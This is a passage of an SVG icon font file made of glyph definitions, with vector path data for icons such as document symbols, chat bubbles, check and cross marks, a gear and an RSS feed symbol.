<glyph unicode="&#xe1b6;" d="M 182,328L 224,328L 224,300L 182,300zM 140,300L 182,300L 182,272L 140,272zM 182,272L 224,272L 224,244L 182,244zM 140,244L 182,244L 182,216L 140,216zM 182,216L 224,216L 224,188L 182,188zM 140,188L 182,188L 182,160L 140,160zM 182,160l0-28 l-42,0 l0-98 c0-7.732, 6.268-14, 14-14l 56,0 c 7.732,0, 14,6.268, 14,14L 224,160 L 182,160 z M 210,48l-56,0 l0,28 l 56,0 L 210,48 zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z"  />
<glyph unicode="&#xe1b7;" d="M 84,160l 84,0 l0-28 L 84,132 L 84,160 z M 84,104l 84,0 l0-28 L 84,76 L 84,104 z M 84,48l 84,0 l0-28 L 84,20 L 84,48 z M 395.252,296.749l-62.503,62.502
	C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 c 19.25,0, 35,15.75, 35,35L 420,237 
	C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
	c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 c0,3.794, 3.206,7, 7,7
	l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 zM 252,76 L 334.596,76 C 328.11,44.048 299.865,20 266,20 C 227.34,20 196,51.34 196,90 C 196,123.865 220.049,152.11 252,158.597 L 252,76 ZM 294,188 C 332.66,188 364,156.66 364,118 C 364,113.206 363.515,108.524 362.596,104 L 280,104 L 280,186.596 C 284.524,187.515 289.206,188 294,188 Z"  />
<glyph unicode="&#xe1b8;" d="M 196,132L 168,160L 84,76L 168-8L 196,20L 140,76 	zM 252,20L 280-8L 364,76L 280,160L 252,132L 308,76 	zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z"  />
<glyph unicode="&#xe1b9;" d="M 168,116.492L 168,166.466 c0,6.619, 2.929,12.878, 8.249,17.625c 5.32,4.746, 12.334,7.361, 19.751,7.361l0,24.986 
		c-30.8,0-56-22.488-56-49.972l0-37.479 c0-6.9-6.268-12.494-14-12.494l-14,0 l0-24.986 l 14,0 c 7.732,0, 14-5.596, 14-12.494l0-37.483 
		c0-27.481, 25.2-49.969, 56-49.969l0,24.986 c-7.417,0-14.432,2.615-19.751,7.361c-5.319,4.748-8.249,11.005-8.249,17.622l0,49.977 
		c0,6.899-6.268,12.492-14,12.492C 161.732,104, 168,109.596, 168,116.492zM 280,91.508l0-49.977 c0-6.617-2.929-12.874-8.249-17.622c-5.319-4.747-12.333-7.361-19.751-7.361l0-24.986 
		c 30.801,0, 56,22.488, 56,49.969l0,37.483 c0,6.9, 6.268,12.494, 14,12.494l 14,0 l0,24.986 l-14,0 c-7.732,0-14,5.596-14,12.494L 308,166.466 
		c0,27.485-25.199,49.972-56,49.972l0-24.986 c 7.419,0, 14.432-2.615, 19.751-7.363c 5.32-4.746, 8.249-11.006, 8.249-17.624l0-49.975 
		c0-6.898, 6.268-12.492, 14-12.492C 286.269,104, 280,98.404, 280,91.508zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z"  />
<glyph unicode="&#xe1ba;" d="M 26.485,384l 35.938-403.213L 223.754-64l 161.754,44.854L 421.515,384L 26.485,384 z M 343.276,252.125l-0.171,0 L 154.039,252.125 l 4.507-50.641
	L 338.783,201.485 l-13.581-151.817L 223.991,21.591l-0.101-0.034l-0.067,0 l-0.053,0 l-101.313,28.111l-6.926,77.662l 49.654,0 l 3.521-39.477
	l 55.065-14.838l 0.122,0.034l 55.096,14.871l 5.718,64.116L 113.32,152.036 L 99.979,301.573l 247.719,0 L 343.276,252.125z"  />
<glyph unicode="&#xe1bb;" d="M 26.485,384l 35.938-403.213L 223.754-64l 161.754,44.854L 421.515,384L 26.485,384 z M 354.708,6.514L 224.672-29.525l0-0.204 
		l-0.34,0.102l-0.342-0.102L 223.99-29.525 l-130.035,36.040L 63.225,351.040l 322.217,0 L 354.708,6.514zM 284.705,152.036L 278.987,87.919L 223.89,73.048L 223.77,73.014L 168.705,87.852L 165.183,127.329L 115.531,127.329L 122.457,49.668L 223.77,21.557L 223.822,21.557L 223.89,21.557L 223.99,21.591L 325.203,49.668L 338.783,201.486L 158.547,201.486L 154.040,252.125L 343.102,252.125L 343.274,252.125L 347.698,301.574L 99.978,301.574L 113.32,152.036 	z"  />
<glyph unicode="&#xe1bc;" d="M 66.67,362.772L 51.637,287.554L 357.777,287.554L 348.203,238.968L 41.87,238.968L 27.043,163.763L 333.154,163.763L 316.084,77.984L 192.704,37.112L 85.779,77.984L 93.097,115.19L 17.892,115.19L0,24.911L 176.849-42.772L 380.726,24.911L 448,362.772 z"  />
<glyph unicode="&#xe1bd;" d="M 112.997,188.638 L 48.889,299.676 C 89.934,351.067 153.116,384 224,384 C 306.002,384 377.698,339.928 416.733,274.187 L 233.958,274.187 C 230.675,274.472 227.356,274.625 224,274.625 C 170.68,274.625 125.747,238.031 112.997,188.638 ZM 304.196,241.812 L 432.585,241.812 C 442.534,216.468 448,188.873 448,160 C 448,37.139 349.081-62.602 226.544-63.968 L 318.154,94.704 C 331.051,113.244 338.625,135.753 338.625,160 C 338.625,192.012 325.428,220.996 304.196,241.812 ZM 142.625,160 C 142.625,204.87 179.13,241.375 224,241.375 C 268.87,241.375 305.375,204.87 305.375,160 C 305.375,115.13 268.87,78.625 224,78.625 C 179.13,78.625 142.625,115.13 142.625,160 ZM 254.705,49.557 L 190.577-61.515 C 82.719-45.378 0,47.648 0,160 C 0,199.908 10.449,237.37 28.742,269.823 L 120.193,111.424 C 138.51,72.438 178.151,45.375 224,45.375 C 234.631,45.375 244.928,46.836 254.705,49.557 Z"  />
<glyph unicode="&#xe1be;" d="M 447.355,237.814l-5.189-33.285c0,0-7.417,61.624-16.508,84.662c-13.933,35.301-20.131,35.018-20.172,34.966
	c 9.332-23.714, 7.64-36.454, 7.64-36.454s-16.534,45.062-60.249,59.398c-48.425,15.873-74.624,11.534-77.651,10.713
	c-0.459,0.004-0.903,0.004-1.326,0.004c 0.358-0.027, 0.705-0.064, 1.061-0.093c-0.015-0.009-0.039-0.018-0.036-0.023
	c 0.197-0.24, 53.509-9.32, 62.963-22.311c0,0-22.645,0-45.181-6.493c-1.018-0.291, 82.917-10.484, 100.076-94.357
	c0,0-9.201,19.196-20.58,22.456c 7.484-22.766, 5.562-65.965-1.565-87.434c-0.917-2.762-1.855,11.936-15.894,18.266
	c 4.497-32.22-0.27-83.325-22.622-97.401c-1.742-1.095, 14.013,50.448, 3.168,30.521c-62.435-95.726-136.239-44.175-169.421-21.486
	c 17.004-3.702, 49.286,0.577, 63.575,11.205c 0.018,0.013, 0.034,0.025, 0.052,0.038c 15.517,10.61, 24.707,18.359, 32.959,16.525
	c 8.257-1.844, 13.754,6.443, 7.341,13.794c-6.421,7.367-22.012,17.49-43.104,11.973c-14.875-3.896-33.309-20.353-61.446-3.689
	c-21.597,12.797-23.63,23.426-23.822,30.79c 0.533,2.61, 1.205,5.047, 2.002,7.273c 2.486,6.943, 10.024,9.038, 14.216,10.692
	c 7.112-1.221, 13.24-3.44, 19.674-6.74c 0.083,2.141, 0.11,4.983-0.008,8.208c 0.617,1.226, 0.235,4.923-0.753,9.441
	c-0.57,4.51-1.496,9.176-2.954,13.428c 0.005,0.001, 0.009,0.004, 0.013,0.006c 0.025,0.008, 0.047,0.018, 0.068,0.031
	c 0.034,0.019, 0.064,0.049, 0.091,0.083c 0.005,0.009, 0.013,0.015, 0.019,0.023c 0.036,0.054, 0.067,0.119, 0.087,0.204
	c 0.446,2.020, 5.26,5.917, 11.252,10.106c 5.369,3.754, 11.682,7.742, 16.655,10.829c 4.401,2.734, 7.752,4.761, 8.464,5.293
	c 0.27,0.204, 0.594,0.443, 0.947,0.716c 0.066,0.051, 0.131,0.102, 0.199,0.155c 0.041,0.032, 0.083,0.065, 0.125,0.099
	c 2.367,1.885, 5.899,5.446, 6.64,12.94c 0.002,0.018, 0.004,0.035, 0.005,0.053c 0.022,0.221, 0.040,0.444, 0.057,0.671
	c 0.012,0.158, 0.022,0.318, 0.032,0.48c 0.006,0.124, 0.014,0.248, 0.019,0.374c 0.013,0.295, 0.022,0.597, 0.026,0.903
	c0,0.018, 0.001,0.033, 0.002,0.051c 0.010,0.725-0.003,1.481-0.045,2.276c-0.024,0.444-0.055,0.844-0.13,1.208
	c-0.004,0.019-0.008,0.040-0.012,0.060c-0.008,0.036-0.016,0.072-0.025,0.107c-0.016,0.064-0.033,0.128-0.053,0.188
	c-0.003,0.008-0.004,0.014-0.007,0.020c-0.023,0.070-0.049,0.137-0.076,0.203c-0.002,0.003-0.002,0.004-0.003,0.007
	c-0.767,1.797-3.64,2.475-15.506,2.677c-0.011,0.001-0.022,0.001-0.033,0.001l0,0c-4.841,0.082-11.173,0.085-19.47,0.052
	c-14.547-0.059-22.587,14.22-25.154,19.745c 3.517,19.451, 13.683,33.312, 30.384,42.711c 0.316,0.178, 0.254,0.325-0.12,0.428
	c 3.266,1.975-39.483,0.054-59.144-24.953c-17.451,4.337-32.661,4.045-45.77,0.969c-2.517,0.071-5.654,0.385-9.377,1.16
	c-8.717,7.9-21.196,22.488-21.864,39.904c0,0-0.040-0.032-0.11-0.089c-0.009,0.167-0.025,0.333-0.032,0.5
	c0,0-26.563-20.416-22.587-76.073c-0.010-0.891-0.028-1.744-0.052-2.57c-7.189-9.751-10.756-17.946-11.021-19.756
	C 11.723,241.219, 5.26,221.702,0,192.072c0,0, 3.678,11.666, 11.062,24.879c-5.43-16.635-9.697-42.506-7.191-81.312
	c0,0, 0.662,8.604, 3.007,20.997c 1.831-24.067, 9.852-53.779, 30.125-88.72c 38.915-67.078, 98.731-100.949, 164.846-106.145
	c 11.741-0.968, 23.647-0.99, 35.623-0.081c 1.101,0.078, 2.202,0.159, 3.303,0.251c 13.547,0.951, 27.184,2.998, 40.792,6.285
	C 467.581,13.201, 447.355,237.814, 447.355,237.814z"  />
<glyph unicode="&#xe1bf;" d="M 321.213,108.887l 103.272,0 c 0.796,7.162, 1.115,14.48, 1.115,21.961c0,35.098-9.421,68.017-25.867,96.366
	c 17.010,45.197, 16.403,83.557-6.368,106.483c-21.655,21.56-79.752,18.060-145.43-11.024c-4.858,0.367-9.764,0.556-14.717,0.556
	c-90.146,0-165.78-62.035-186.685-145.622C 74.813,213.812, 104.563,240.062, 144.305,259.179c-3.614-3.386-24.699-24.348-28.245-27.897
	C 11.258,126.51-21.792-10.352, 13.77-45.92c 27.031-27.026, 76.019-22.462, 132.289,5.096
	c 26.165-13.325, 55.781-20.838, 87.158-20.838c 84.496,0, 156.102,54.388, 182.039,130.133L 311.189,68.471 
	c-14.321-26.417-42.327-44.398-74.47-44.398c-32.142,0-60.149,17.98-74.47,44.398c-6.366,11.932-10.025,25.617-10.025,40.1l0,0.316 
	L 321.213,108.887 z M 152.382,159.648c 2.387,42.486, 37.712,76.38, 80.835,76.38c 43.123,0, 78.449-33.894, 80.835-76.38L 152.382,159.648 z M 392.423,312.334
	c 14.668-14.823, 14.301-42.094, 1.755-76.135c-21.497,32.772-52.727,58.597-89.597,73.343
	C 344.003,326.446, 376.072,328.685, 392.423,312.334z M 40.898-39.174c-18.717,18.723-13.074,58.020, 11.038,105.364
	c 15.010-42.118, 44.256-77.477, 81.96-100.255C 92.145-53.017, 57.974-56.235, 40.898-39.174z"  />
<glyph unicode="&#xe1c0;" d="M 223.145,384C 100.766,384, 12.818,295.233, 12.818,162.090C 12.818,43.607, 98.35-64, 223.161-64
	c 126.034,0, 212.021,107.575, 212.021,226.089C 435.182,296.297, 344.424,384, 223.145,384z M 301.157,165.888
	c-0.030-74.091-3.98-179.586-77.996-179.586l0-0.015 c-72.968,0-75.876,105.554-75.876,179.51c0,86.791, 8.12,169.998, 75.876,169.998
	C 290.918,335.795, 301.157,251.54, 301.157,165.888z"  />
<glyph unicode="&#xe1c1;" d="M 224,356c-10.528,0-20.872-0.784-30.985-2.28c-0.131,0.342-0.273,0.677-0.43,1.004c 5.611,4.376, 8.553,10.426, 7.277,16.429
		C 198.229,378.837, 190.065,384, 179.547,384c-2.266,0-4.575-0.246-6.86-0.731c-13.198-2.806-21.939-12.522-19.898-22.121
		c 1.24-5.835, 6.253-10.21, 13.197-11.98c-0.014-0.425-0.007-0.853, 0.018-1.284C 78.232,322.714, 14,241.861, 14,146
		c0-115.98, 94.020-210, 210-210c 115.98,0, 210,94.020, 210,210C 434,261.98, 339.98,356, 224,356z M 159.636,362.603
		c-1.184,5.568, 5.46,11.896, 14.507,13.818C 175.95,376.805, 177.769,377, 179.547,377c 7.016,0, 12.554-3.003, 13.468-7.302
		c 0.698-3.286-1.343-6.829-4.981-9.583c-3.077,2.173-7.007,3.118-10.981,2.273c-3.957-0.841-7.152-3.285-9.082-6.5
		C 163.516,356.961, 160.311,359.426, 159.636,362.603z M 336.606,33.394c-19.236-19.236-42.529-32.934-67.948-40.317l-18.548,30.086
		l-4.701-34.982C 238.369-12.761, 231.222-13.25, 224-13.25c-42.537,0-82.528,16.566-112.606,46.644
		c-19.236,19.235-32.934,42.529-40.317,67.947l 30.086,18.549l-34.982,4.701C 65.239,131.631, 64.75,138.778, 64.75,146
		c0,42.537, 16.565,82.528, 46.644,112.606c 19.236,19.236, 42.53,32.934, 67.948,40.318l 18.548-30.087l 4.702,34.982
		C 209.631,304.761, 216.778,305.25, 224,305.25c 42.537,0, 82.528-16.565, 112.606-46.644c 19.236-19.236, 32.934-42.53, 40.317-67.948
		l-30.087-18.549l 34.982-4.701C 382.761,160.369, 383.25,153.222, 383.25,146C 383.25,103.463, 366.684,63.472, 336.606,33.394zM 332.895,254.895l-86.178-65.496c-6.407,3.35-13.508,5.277-20.744,5.568l-22.348,46.891l-1.342-51.916
		c-5.812-2.859-10.983-6.853-15.258-11.791l-27.601,9.784l 20.165-21.235c-2.771-5.914-4.316-12.263-4.565-18.735l-46.882-22.341
		l 51.948-1.342c 0.166-0.336, 0.339-0.668, 0.512-0.998l-65.496-86.179l 86.178,65.496c 6.407-3.349, 13.507-5.276, 20.744-5.567l 22.348-46.892
		l 1.341,51.916c 5.813,2.86, 10.984,6.853, 15.259,11.792l 27.602-9.786l-20.166,21.236c 2.772,5.915, 4.317,12.263, 4.566,18.735
		l 46.881,22.341l-51.947,1.343c-0.165,0.335-0.339,0.667-0.512,0.997L 332.895,254.895z M 224.045,189.516l0-1.508 L 224.045,189.516 
		L 224.045,189.516z M 215.268,187.082c 2.943,0.626, 5.882,0.927, 8.774,0.927c 1.813,0, 3.609-0.118, 5.379-0.348l 0.040-0.014
		l-0.004,0.010c 3.82-0.5, 7.514-1.531, 10.995-3.017l-31.301-23.79l-23.791-31.304c-1.039,2.447-1.868,5.024-2.441,7.723
		C 178.095,159.957, 192.579,182.259, 215.268,187.082z M 245.928,110.176L 245.928,110.176L 245.928,110.176
		c-3.962-2.425-8.392-4.237-13.195-5.258c-2.943-0.626-5.882-0.927-8.774-0.927c-1.816,0-3.613,0.119-5.385,0.349l-0.034,0.013
		l 0.004-0.009c-3.821,0.5-7.514,1.531-10.995,3.016l 31.3,23.79l 23.791,31.305c 1.039-2.447, 1.868-5.025, 2.441-7.724
		C 268.884,136.846, 260.683,119.207, 245.928,110.176z"  />
<glyph unicode="&#xe1c2;" d="M 113.55,160.001A51.82,51.82 12780 1 0 217.191,160.001A51.82,51.82 12780 1 0 113.55,160.001zM 224.002,384C 100.288,384,0,283.711,0,160s 100.286-224, 224.002-224C 347.711-64, 448,36.288, 448,160
		C 448,283.711, 347.712,384, 224.002,384z M 165.986-35.686C 98.63,3.503, 53.343,76.456, 53.343,160
		c0,83.544, 45.287,156.497, 112.64,195.686C 233.362,316.502, 278.679,243.56, 278.679,160C 278.679,76.443, 233.362,3.498, 165.986-35.686z"  />
<glyph unicode="&#xe1c5;" d="M 335.944,216L 335.944,272 C 335.944,349.322, 280,384, 224,384L 111.944,384 C 56,384,0,354.25,0,272c0-80.5, 56-112, 111.944-112l 13.020,0 
	C 117.152,144.838, 112.154,126.82, 112,104.952l0-58.044 C 112.588-14.426, 162.512-64, 224-64c0,30.954, 25.102,56, 56,56l 55.944,0 C 392-8, 448,23.5, 448,104
	C 448,186.25, 392,216, 335.944,216z M 111.944,216C 56,216, 56,258.168, 56,272c0,16.786,0,56, 55.944,56L 224,328 c 20.944,0, 56-7.28, 56-56l0-56 
	c0-18.298-8.806-34.594-22.526-44.814C 237.020,198.388, 204.526,216, 168,216L 111.944,216 z M 335.944,48L 280,48 c-36.582,0-69.132-17.612-89.572-44.786
	C 176.806,13.434, 168,29.73, 168,48l0,56 c0,25.62, 12.74,41.174, 25.424,49.168C 211.372,143.816, 224,125.602, 224,104c 41.384,0, 77.084,22.68, 96.516,56.028
	L 335.944,160C 392,160, 392,120.758, 392,104C 392,90.14, 392,48, 335.944,48z"  />
<glyph unicode="&#xe1c6;" d="M 363.678,213.018c-0.378-19.418-4.704-37.73-12.362-54.446C 391.678,151.852, 392,118.98, 392,104
				c0-13.888,0-56-55.944-56L 280,48 c-36.47,0-69.132-17.612-89.572-44.842C 176.862,13.434, 168,29.73, 168,48l0,56 c0,11.046, 1.974,19.796, 5.026,26.992
				C 171.388,131.286, 169.75,132, 168,132L 114.842,132 c-1.806-8.666-2.786-17.934-2.786-28l0-56 c0-61.852, 50.092-112, 111.944-112c0,30.954, 25.046,56, 56,56l 56.056,0 
				C 392-8, 448,23.5, 448,104C 448,172.502, 409.066,204.24, 363.678,213.018zM 224,328c 20.888,0, 56-7.28, 56-56l0-56 c0-18.326-8.862-34.594-22.428-44.814C 237.132,198.36, 204.526,216, 168,216L 112.056,216 
			C 56,216, 56,258.14, 56,272c0,16.73,0,56, 56.056,56L 224,328  M 224,384L 112.056,384 C 56,384,0,354.25,0,272c0-80.5, 56-112, 112.056-112L 168,160 c 30.954,0, 56-25.102, 56-56
			c 61.852,0, 112.056,50.148, 112.056,112L 336.056,272 C 336.056,349.294, 280,384, 224,384L 224,384z"  />
<glyph unicode="&#xe1c7;" d="M 224,104c 61.852,0, 111.944,50.148, 111.944,112L 335.944,272 C 335.944,349.294, 280,384, 224,384L 111.944,384 C 56,384,0,354.25,0,272c0-80.5, 56-112, 111.944-112L 168,160 
		C 198.898,160, 224,134.898, 224,104zM 363.72,213.018C 362.082,137.25, 300.132,76, 224,76l-28,0 l0,28 c0,15.456-12.572,28-28,28L 114.786,132 
		C 113.106,123.642, 112.070,114.696, 112,105.036l0-58.114 C 112.588-14.426, 162.512-64, 224-64c0,30.954, 25.102,56, 56,56l 55.944,0 C 392-8, 448,23.5, 448,104
		C 448,172.502, 409.010,204.24, 363.72,213.018z"  />
<glyph unicode="&#xe1c8;" d="M 224.028,272C 379.036,272, 392,214.194, 392,160c0-18.816-4.97-39.27-10.444-56l-185.5,0 c-65.842,0-94.332-2.73-126-24.612
			c-13.132,35.98-21.546,84.658-5.306,123.76C 83.664,248.816, 137.256,272, 224.028,272 M 224.028,328C-89.166,328, 0.154,48, 56.084-8c 56,56, 56,56, 139.944,56l 223.090,0 
			c0,0, 28.882,56, 28.882,112C 448,300, 336.042,328, 224.028,328L 224.028,328z"  />
<glyph unicode="&#xe1c9;" d="M 419.132,48c0,0, 28.882,56, 28.882,112C 448,300, 336.042,328, 224.028,328C-89.166,328, 0.154,48, 56.084-8c 56,56, 56,56, 139.944,56
				L 419.132,48 z"  />
<glyph unicode="&#xe1ca;" d="M 280,300c 61.796,0, 112-50.204, 112-112s-50.204-112-112-112l-112,0 c-36.526,0-69.076-17.612-89.53-44.842C 64.862,41.434, 56,57.73, 56,76
		L 56,216 c0,46.326, 37.73,84, 84,84L 280,300  M 280,356L 140,356 C 62.678,356,0,293.322,0,216l0-140 c0-61.852, 50.204-112, 112-112c0,30.954, 25.102,56, 56,56l 112,0 c 92.806,0, 168,75.25, 168,168
		S 372.806,356, 280,356L 280,356z"  />
<glyph unicode="&#xe1cb;" d="M0,76c0-61.852, 50.204-112, 112-112c0,30.954, 25.102,56, 56,56l 112,0 c 92.806,0, 168,75.25, 168,168S 372.806,356, 280,356L 140,356 
			C 62.678,356,0,293.322,0,216L0,76 z"  />
<glyph unicode="&#xe1cc;" d="M 196,384C 87.78,384,0,296.22,0,188c0-53.648, 21.658-102.158, 56.602-137.592L 56.924-64l 92.918,62.076
	C 164.724-5.592, 180.026-8, 196-8c 108.22,0, 196,87.78, 196,196C 392,296.22, 304.22,384, 196,384z M 196,48c-9.898,0-20.622,1.47-32.76,4.424l-23.842,5.908
	l-26.852-17.78l 0.168,32.704l-16.24,16.464C 70.378,116.194, 56,151.082, 56,188C 56,265.224, 118.776,328, 196,328c 77.224,0, 140-62.776, 140-140
	C 336,110.776, 273.224,48, 196,48z" horiz-adv-x="392"  />
<glyph unicode="&#xe1cd;" d="M 196,384C 87.78,384,0,296.22,0,188c0-53.648, 21.658-102.158, 56.602-137.592L 56-64l 93.842,62.076
			C 164.724-5.592, 180.026-8, 196-8c 108.22,0, 196,87.78, 196,196S 304.22,384, 196,384z" horiz-adv-x="392"  />
<glyph unicode="&#xe1ce;" d="M 84,216L0,132L 168-36L 448,244L 364,328L 168,132 z"  />
<glyph unicode="&#xe1cf;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 189.28,56.638
		L 86.212,159.72l 39.592,39.592l 63.462-63.49l 134.638,134.638l 39.592-39.592L 189.28,56.638z"  />
<glyph unicode="&#xe1d0;" d="M 420,42.428L 302.316,160L 420,277.572L 341.572,356L 224,238.372L 106.372,356L 28,277.572L 145.572,160L 28,42.428L 106.372-36L 224,81.628L 341.572-36 		z"  />
<glyph unicode="&#xe1d1;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 334.796,88.796
		l-39.592-39.592L 224,120.408l-71.204-71.204l-39.592,39.592L 184.408,160l-71.204,71.204l 39.592,39.592L 224,199.592l 71.204,71.204l 39.592-39.592
		L 263.592,160L 334.796,88.796z"  />
<glyph unicode="&#xe1d2;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 224,328
		c 36.26,0, 69.622-11.816, 97.076-31.388L 87.332,62.98C 67.76,90.434, 56,123.796, 56,160C 56,252.638, 131.362,328, 224,328z M 224-8
		c-36.26,0-69.622,11.816-97.076,31.388L 360.668,257.020C 380.24,229.566, 392,196.204, 392,160C 392,67.362, 316.638-8, 224-8z"  />
<glyph unicode="&#xe1d3;" d="M 448-8L 252,188L 336,272L0,384L 112,48.056L 196,132.056L 392-64 	z"  />
<glyph unicode="&#xe1d4;" d="M0-8A56,56 1620 1 1 112-8A56,56 1620 1 1 0-8zM 84,384l0-56 c 170.072,0, 308-137.914, 308-308l 56,0 C 448,221.012, 284.998,384, 84,384zM 84.322,271.888C 84.21,271.888, 84.112,271.874, 84,271.874l0-56 c 0.112,0, 0.21,0.014, 0.322,0.014
		c 108.206,0, 195.944-87.71, 196-195.888l 56,0 C 336.266,159.118, 223.454,271.888, 84.322,271.888zM 84.322,159.888c-0.112,0-0.21-0.014-0.322-0.014l0-56 c 0.112,0, 0.21,0.014, 0.322,0.014
		c 46.354,0, 83.944-37.562, 84-83.888l 56,0 C 224.266,97.266, 161.602,159.888, 84.322,159.888z"  />
<glyph unicode="&#xe1d5;" d="M 448-64l-63.98,0 C 384.020,147.75, 211.75,319.992,0,319.992L0,384 C 246.974,384, 448,183.030, 448-64L 448-64zM 319.97-64l-63.98,0 c0,141.148-114.898,255.99-255.99,255.99L0,255.998 C 176.428,255.998, 319.97,112.428, 319.97-64
			L 319.97-64zM 192.010-64L 127.974-64 c0,70.602-57.372,127.974-127.974,127.974l0,64.036 C 105.868,128.010, 192.010,41.868, 192.010-64
			L 192.010-64zM 63.98-64c0,35.322-28.602,63.98-63.98,63.98L0-64 L 63.98-64 z"  />
<glyph unicode="&#xe1d6;" d="M 442.498,304.998l-70.322-70.322l-73.5,0 L 298.676,309.324 l 69.454,69.426C 357.854,381.844, 347.242,384, 335.972,384
		C 274.148,384, 224,333.824, 224,272c0-17.248, 4.214-33.39, 11.214-48.020L 10.934-0.23C 4.214-7.020,0-16.316,0-26.704C0-47.27, 16.674-64, 37.352-64
		c 10.332,0, 19.684,4.158, 26.362,10.934l 224.322,224.252C 302.61,164.242, 318.794,160, 335.972,160c 61.908,0, 112,50.176, 112,112
		C 447.972,283.564, 445.788,294.498, 442.498,304.998z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe1d7;" d="M 168.908,160A56.303,56.303 1620 1 1 281.513,160A56.303,56.303 1620 1 1 168.908,160zM 401.93,299.631c-4.842-3.983-10.726-6.644-17.482-6.644c-15.511,0-28.151,12.611-28.151,28.306
			c0,6.841, 2.745,12.935, 6.813,17.918c-31.234,24.21-69.055,40.51-110.297,45.676C 251.377,370.614, 239.835,359.34, 225.21,359.34
			s-26.336,11.401-27.603,25.871C 155.817,379.791, 117.771,363.196, 86.27,338.113c 3.575-4.757, 6.109-10.388, 6.109-16.806c0-15.694-12.541-28.306-28.151-28.306
			c-6.263,0-11.88,2.435-16.553,5.982C 18.256,260.726,0,213.304,0,161.21c0-125.034, 100.838-226.421, 225.21-226.421s 225.21,101.387, 225.21,226.421
			C 450.421,213.797, 431.953,261.429, 401.93,299.631z M 225.21,48.606c-62.186,0-112.606,50.419-112.606,112.606c0,31.121, 12.597,59.217, 32.994,79.612L 225.21,320.435l 79.499-79.499
			C 325.176,220.539, 337.816,192.332, 337.816,161.21C 337.816,98.968, 287.396,48.606, 225.21,48.606z" horiz-adv-x="449.75"  />
<glyph unicode="&#xe1d8;" d="M 448,132.434l0,56 l-66.934,27.888c-1.862,5.25-3.822,10.332-6.23,15.316l 27.020,67.27L 362.25,338.5
		l-66.668-27.454c-5.082,2.464-10.276,4.536-15.638,6.454L 251.566,384l-56,0 l-27.678-66.276c-5.572-1.974-10.934-4.046-16.24-6.566l-66.556,26.74
		L 45.5,298.306l 27.132-65.954C 70,226.934, 67.872,221.418, 65.842,215.72L0,187.566l0-56 l 65.898-27.454c 2.030-5.684, 4.214-11.214, 6.832-16.632
		l-26.628-66.388l 39.592-39.592l 66.122,27.23c 5.306-2.52, 10.724-4.536, 16.296-6.454L 196.434-64l 56,0 l 27.72,66.612
		c 5.306,1.974, 10.556,4.046, 15.582,6.454l 67.158-26.908l 39.592,39.592l-27.566,66.822c 2.352,5.026, 4.27,10.122, 6.132,15.316L 448,132.434z
		 M 223.566,76c-46.368,0-84,37.632-84,84s 37.632,84, 84,84s 84-37.632, 84-84S 269.934,76, 223.566,76z"  />
<glyph unicode="&#xe1d9;" d="M 336,328L 336,384L 280,384L 280,328L 168,328L 168,384L 112,384L 112,328L0,328L0,272L 448,272L 448,328 	zM 56,104L 392,104L 392,48L 56,48zM 56,216L 392,216L 392,160L 56,160zM 56-64L 336-64L 392-8L 56-8 	z"  />
